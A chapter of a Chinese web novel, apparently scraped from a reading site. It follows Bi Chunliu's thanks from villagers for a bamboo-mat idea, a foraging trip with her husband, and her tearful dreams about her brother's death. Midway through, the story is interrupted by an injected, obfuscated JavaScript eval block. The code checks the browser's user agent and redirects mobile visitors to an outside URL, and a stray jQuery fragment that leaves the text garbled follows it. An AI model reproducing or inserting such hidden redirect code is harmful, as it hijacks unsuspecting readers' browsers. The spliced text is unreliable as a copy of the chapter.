面对两个不熟悉的面孔,毕春柳一脸懵。如果不是贺喜提前说了这人是来找自己的,毕春柳肯定以为这是贺喜家的亲戚什么的。
年轻男人先开口了,“姐,你不记得我了?我是卖给你凉席的那个人啊。竹凉席,还记得不?”
哦~毕春柳记起来了,她当时在黑市买过几张竹凉席,因为拿不了,这人还给她送过货,送货来的时候她还要了两个竹筐子,当时她还没有结婚呢。
不过这小伙子当时穿的破破旧旧,脸上还晒的黢黑,她那会儿连小伙子的五官都没有看清楚,这能认出来才怪。
“原来是你啊,那咱们上我家说吧,这俩孩子也得去我家。”毕春柳让他们跟着去自己家,又让秋果带着高新高年也去家里,“高新,你去跟夏荷学习,秋果带着高年玩,你妈有事,让你俩晚上都在我家吃饭。”
“好!!”高新担心姥爷的身体,但高年刚刚在院子里玩的开心,根本不知道舅舅来是干什么,现在他就更为能跟秋果姐姐一起去玩高兴了!
看着高新把门关好锁上,毕春柳这才问道:“对不住啊,我刚刚着急他们姐弟俩的事,忘了问了,怎么称呼你啊?还有这位姑娘是?”
年轻男人说道:“姐,我全名张六发,在家排行老六。你喊我小张或者六子、六发都行,这是我们大队的嗯,”张六发看了眼年轻姑娘,说道:“我们大队的销售顾问周念,她是从大城市来的知青。”
周念伸出手跟毕春柳握了握,“姐,你好。”
“欸,周顾问你好。”毕春柳把两人迎进堂屋坐下,卫国给他们端来了一碗水,也在屋里坐下了。
两个人确实有点渴了,咕咚咕咚喝完,毕春柳这才问:“你们来找我是有事?”她可不会认为买个竹凉席还能有售后。
张六发这次只是起到一个带路的作用,他看着周念,等着她说话。
周念则是把拎着的东西向前放了放,“姐,我们这次是专程来感谢你的。本来早就该来的,但大家这段时间一直都在赶工期,没能来成。我们大队长也想跟来,但他昨天吃坏了肚子,这才没能一起来。张六发说上次还是你跟他说了竹凉席好,鼓励我们大队靠着竹凉席参加广交会。他回去后就跟大队长说了,至于我也是因为家是广省的才占了这个便宜,带着大家一起去了广交会。”
毕春柳不好意思道:“不用不用,我没有做什么,哪值得你们来一趟,我就是提了一嘴,活是你们干的,也是你们跟人谈的,我什么都没有帮上,哪能有那脸邀功。”要不是这人来,她都忘了自己提过这事了,如果自己有这种技术,她也会去赚刀乐,但她跟张六发提起这事得时候也只是因为她以前看到过某些手工艺品可以在国外卖到高价。至于她自己赚刀乐,那只是个美好的畅想。
“提一嘴也是说到了我们没有想过的事情,毕竟在这之前竹凉席都卖不上价的,生产队也只有上了年纪的老人才会做这些费力气的东西来赚个仨瓜俩枣。”周念是真的想感谢毕春柳,因为她,自己也终于感到自己下乡来建设农村不是一句空口号。
“好,那我也不再推辞了。感谢我收下,但东西就拿走吧,要不我是真的于心有愧。”
两个人推辞来推辞去,最终毕春柳还是把那些东西留下了,并且答应了周念有空的时候去她们生产队看看。
送走了两人,邢飞揽着毕春柳的肩膀,“原来这主意是我媳妇出的,这可真是个金脑瓜啊,你也太厉害了!”
“可以了可以了,我已经很不好意思了……”要不是知道自己干了什么,她都要飘起来了。
邢飞这才说道:“还真不是乱说,我们局长年前开会的时候还说要往他们公社的派出所多牌两个人呢,就因为他们生产队今年富裕了,怕有那做坏事的。”
“是吗?那我这也算是做了件好事哈哈。”
“那当然了!”
因为意外之客,,一家人没能去山上,但有高家姐弟俩在,晚上的饭依旧热闹的不行。
第二天,邢飞毕春柳两口子去了山上,事实证明,身手好的人跟普通人真的有很大差别,毕春柳跟弟弟妹妹相比还可以用力量或者时准时不准的准头取胜,但到了山上以后,她发现邢飞灵活的仿佛是在山里生活了好几年的猴,就没有他爬不上去的树!!
两个人不仅撸了一大袋子槐花,找了很多野菜,还找到了被野鸡放弃的三四窝野鸡蛋,每一窝都有十几个。因为两口子这次出门准备的很齐全,邢飞还堵了兔子窝,毕春柳在洞口拿袋子等着,俩人协作,放走了三只半大的兔子,留下了五只大兔子。
邢飞笑道:“还行,总算是没白来!”他熏了两个洞,刚走到媳妇那,就听见不远处噔噔窜动的声音,本来以为自己弄错了,没想到这个洞口也有傻兔子出来。
毕春柳心道,自己以前还说满载而归,那时候的收获根本没办法跟现在比!!高兴的她只对着邢飞喊哥哥厉害!把邢飞哄成了翘嘴,并表示可以继续找兔子。
“不找了,天越来越热,到时候放不住。咱们吃这些也差不多了,等把兔子处理好了喊爸和小美来吃饭。”主要她也不太喜欢吃腌的齁咸的肉。
“好,那现在回家?”
“好!”
……
哗啦啦的一场雨后,温度也不断攀高。
毕春柳拿着个硬纸板给自己扇风,越扇越心烦气躁。天气热了,她最近看卫国看的严,不让他去大院,也不让他碰自行车,让他下了班就回家。要不是他们俩下班的时间差不多,她都想去接他回家。
毕卫国无可奈何地像姐夫表达大姐好像心里有事,不知道为什么她好像在担心自己骑自行车就会撞到人,但是他问大姐,大姐又说没什么事,让他上班下班一定走大道,慢慢走路,不要着急,搞得他差点儿不知道应该怎么迈腿了。
面对小舅子的诉苦,邢飞只好答应帮他问问,然后好好开解一下。
“媳妇,你是怎么了?怎么那么紧张?卫国是干什么错事了吗?”
“那有什么错事!!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15780709|158972||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
毕春柳应激地反驳道,但她又立刻意识到自己在说什么。
看着邢飞关切的眼神,她抱住邢飞的腰,把自己的脸埋在他颈侧,“我就是……”
话还没说成句,眼泪先涌了出来。邢飞顿时紧张起来,这是出了多大的事啊?!
“怎么了?怎么了?”
毕春柳眼泪不停,哭了好一会儿,她才抽噎着说道:“我最近总做一个梦,做了好几遍,梦里卫国……”
她最近睡不好,就是因为一合眼就梦到上辈子。把发生的事情说了,还说了卫国自从跑走了自己就没再看见他,然后就是在大冬天被叫去认领的那具不能仔细看的身体。
“没事没事,梦都是反的。”邢飞不断地抚摸妻子的头发,“你看咱们现在的生活是不是跟你梦里的一点儿也不一样。卫国现在天天上班,哪有时间去大杂院学骑自行车啊,而且咱家也不是没有。”
邢飞努力安抚妻子的情绪,很心疼她,怪不得她晚上有的时候还喊“这不是,不可能!”什么的,原来真的梦到了不好的。
“你别担心,我跟路过卫国上下班路上的巡警说一句,让他们这段时间多跑两趟。”
“好……”可能是心里的事说了出来,放松了情绪,毕春柳哭着哭着就睡着了。
邢飞把毕春柳放平,拿了毛巾来给她擦脸,收拾完媳妇,就去了小舅子的房间,把他大姐是怎么担心怎么着急他的事说了。
知道大姐做的梦,毕卫国也理解了大姐是为什么这么紧张自己,他本来也不是厌烦大姐,他只是觉得大姐的紧张来的莫名其妙,好像自己是个只知道闯祸的小孩。他保证道:“姐夫,你放心,我肯定会老老实实的。不让大姐再这么担心,其实我本来下了班也不乱走的。姐夫,要是按照大姐梦里的,我也不会因为这就跳河吧?”
邢飞敲敲小舅子的脑瓜,“……你可真是一点儿也不避讳啊。快连呸三声!让你大姐知道又该哭了。”
“呸呸呸!”毕卫国呸完继续说道:“姐夫,你说我说的对不对,按你了解的我的性格,我也不是那样的人吧?”
毕卫国越说越觉得自己想的对,别的先不提,自己可是有名的心大,就算是赔出去一间房,自己应该也不至于这样,而且就算是自己没了,也不能挽救什么啊?
邢飞:“……别瞎想了,这只是你大姐做的梦,梦不一定是真的。按你大姐梦里,我还没有跟你大姐结婚呢。这梦也只是给咱们提个醒,你这段时间注意安全,按时回家,有事提前说。行了,你睡觉吧,我回屋了。”
姐夫走了,毕卫国也想不明白,只能感慨梦还是梦。嘿嘿,平时没怎么看出来,大姐竟然这么担心自己!想到这儿,毕卫国心满意足地睡着了。反倒是邢飞是睡不着了,他把手枕在头下,想到了自己以前做的梦。我的亲爸诶,这不会串上了吧?因为自己没有跟春柳相亲,然后她们就遇到了那种事,所以自己也一直是个光棍?!一直到自己成了老头才遇到了也是老太太的媳妇?这让他上哪说理去?!